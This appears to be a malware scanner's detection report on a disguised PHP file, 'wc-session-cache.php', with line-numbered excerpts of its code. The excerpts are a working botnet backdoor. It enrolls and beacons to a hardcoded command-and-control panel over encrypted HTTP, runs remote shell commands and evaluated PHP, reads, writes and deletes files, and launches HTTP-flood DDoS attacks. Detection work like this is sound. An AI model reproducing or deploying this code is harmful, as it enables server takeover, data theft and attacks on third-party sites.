wc-session-cache.php
C2 beacon, exec, DDoS
Calls PHP file_put_contents()Calls PHP unlink()
SHA-2565feaec16e5b48cc5f25faf6d59646574b2596424c39d3ade9179bee5a88f3b41
Evidence
16:7… ($c !== null) return $c;
17 $def = array(
18 'panel' => 'https://panelwp.net/assets/',
19 'psk' => 'BOOTSTRAP',
20 'enroll_token' => 'inok-enroll-Xq7vPz2mRt9Kb4Lw',
21 'bot_id' => 'pending',
22 'sleep' => 7,
23 );
24 if (is_readable($C2_CONF_FILE)) {
25 $j = json_decode(file_get_contents($C2_CONF_FILE), true);
26 if (is_array($j)) { $def = array_merge($def, $j); }
27 }
28 $c = $def;
29 return $c;
30}
31function c2_save_conf($c) {
32 global $C2_CONF_FILE;
33 @file_put_contents($C2_CONF_FILE, json_encode($c));
34}
35function c2_seal($psk, $obj) {
36 $key = hash('sha256', 'c2::' . $psk, true);
37 $nonce = random_bytes(12);
38 $tag = '';
39 $ct = openssl_encrypt(json_encode($obj), 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, '', 16);
40 if ($ct === false) return null;
41 return base64_encode($nonce . $ct . $tag);
42}
43function c2_open($psk, $b64) {
44 $key = hash('sha256', 'c2::' . $psk, true);
45 $raw = base64_decode($b64);
46 if ($raw === false || strlen($raw) < 29) return null;
47 $n = substr($raw, 0, 12); $rest = substr($raw, 12);
48 $ct = substr($rest, 0, -16); $tag = substr($rest, -16);
49 $pt = openssl_decrypt($ct, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $n, $tag, '', 16);
50 if ($pt === false) return null;
51 $j = json_decode($pt, tr …
54:38… t = 12) {
55 if (function_exists('curl_init')) {
56 $ch = curl_init($url);
57 curl_setopt_array($ch, array(
58 CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body,
59 CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout,
60 CURLOPT_CONNECTTIMEOUT => $timeout,
61 CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0,
62 CURLOPT_USERAGENT => 'Mozilla/5.0',
63 CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
64 ));
65 $r = curl_exec($ch);
66 curl_close($ch);
67 return $r === false ? null : $r;
68 }
69 $ctx = stream_context_create(array('http' => array(
70 'method' => 'POST', 'header' => "Content-Type: text/plain\r\nUser-Agent: Mozilla/5.0\r\n",
71 'content' => $body, 'timeout' => $timeout,
72 ), 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
73 $r = @file_get_contents($url, false, $ctx);
74 return $r === false ? null : $r;
75}
76function c2_sys() {
77 return array(
78 'host' => php_uname('n'),
79 'os' => PHP_OS,
80 'kernel' => php_uname('s') . ' ' . php_uname('r'),
81 'user' => get_current_user(),
82 'php' => PHP_VERSION,
83 'sapi' => php_sapi_name(),
84 'whoami' => function_exists('shell_exec') ? trim(@shell_exec('id 2>/dev/null') ?: '') : '',
85 'ip_pub' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '',
86 'web' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
87 'pid' => getmypid(),
88 'lang' => 'php',
89 );
90}
91function c2_exec($cmd, $timeout = 25) {
92 if (function_exists('proc_open')) {
93 $ds = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
94 $p = @proc_open($cmd . ' 2>&1', $ds, $pipes);
95 if (is_resource($p)) {
96 stream_set_blocking($pipes[1], false);
97 $out = ''; $t0 = microtime(true);
98 while (microtime(true) - $t0 < $timeout) {
99 $d = fread($pipes[1], 65536);
100 if ($d !== false && $d !== '') $out .= $d;
101 $st = proc_get_status($p);
109:9… }
110 }
111 if (function_exists('shell_exec')) {
112 $out = @shell_exec($cmd . ' 2>&1');
113 return array('ok' => true, 'out' => mb_safe($out ?: ''));
114 }
115 return array('ok' => false, 'err' => 'no exec on this host');
116}
117function mb_safe($s) { return strlen($s) > 100000 ? substr($s, 0, 100000) : ($s ?: ''); }
118function c2_task($t) {
119 $p = isset($t['params']) ? $t['params'] : array();
120 switch ($t['type']) {
121 case 'exec': return c2_exec($p['cmd'], isset($p['timeout']) ? (int)$p['timeout'] : 25);
122 case 'php': ob_start(); try { eval($p['code']); } catch (Exception $e) {} return array('ok' => true, 'out' => mb_safe(ob_get_clean()));
123 case 'write': return array('ok' => @file_put_contents($p['path'], base64_decode($p['b64'])) !== false);
124 case 'read': $d = @file_get_contents($p['path']); return $d === false ? array('ok' => false, 'err' => 'nofile') : array('ok' => true, 'b64' => base64_encode(mb_safe($d)));
125 case 'ls': $o = array(); foreach ((array)@glob($p['path'] . '/*') as $f) $o[] = basename($f) . (is_dir($f) ? '/' : ''); return array('ok' => true, 'out' => implode("\n", array_slice($o, 0, 500)));
126 case 'rm': return array('ok' => @unlink($p['path']));
127 case 'ddos_l7':
128 $t0 = microtime(true); $dur = (int)$p['dur']; $n = 0;
129 while (microtime(true) - $t0 < $dur) {
130 c2_http($p['url'], 'x', 5); $n++;
131 usleep(20000);
132 }
133 return array('ok' => true, 'hits' => $n);
134 defa …
139:39… c['bot_id'] !== 'pending') return true;
140 $nid = 'p' . substr(bin2hex(random_bytes(6)), 0, 10);
141 $hello = c2_seal($c['enroll_token'], array('type' => 'hello', 'new_bot_id' => $nid, 'sys' => c2_s …
157:31… ($gate, $reg, 12);
158 $b = c2_seal($c['psk'], array('type' => 'beacon', 'ts' => time()));
159 if ($b === null) return false;
160 $r = c2_http($gate, $b, 20);
161 if ($r === null) return false;
162 …